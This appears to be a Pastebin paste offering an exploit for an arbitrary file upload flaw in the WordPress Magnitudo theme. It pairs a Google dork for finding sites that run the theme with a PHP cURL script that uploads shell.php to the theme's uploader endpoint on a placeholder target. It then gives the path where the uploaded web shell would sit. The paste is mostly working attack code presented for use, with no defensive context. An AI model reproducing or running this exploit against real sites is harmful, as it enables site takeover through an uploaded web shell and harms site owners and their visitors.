Advertisement
Kyfx

WordPress Magnitudo theme Arbitrary File Upload Vulnerabilit

Mar 6th, 2015
373
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.57 KB | None | 0 0
  1. Google Dork: inurl:wp-content/themes/magnitudo
  2.  
  3. Use your brain for more dorks :)
  4.  
  5. Source Code:
  6. <?php
  7. $uploadfile="shell.php";
  8. $ch = curl_init("http://www.[target].com/wordpress/wp-content/themes/magnitudo/framework/_scripts/valums_uploader/php.php");
  9. curl_setopt($ch, CURLOPT_POST, true);
  10. curl_setopt($ch, CURLOPT_POSTFIELDS,
  11. array('qqfile'=>"@$uploadfile"));
  12. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  13. $postResult = curl_exec($ch);
  14. curl_close($ch);
  15. print "$postResult";
  16. ?>
  17.  
  18. Shell path: http://www.[target].com/wordpress/wp-content/uploads/2014/10/shell.php
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement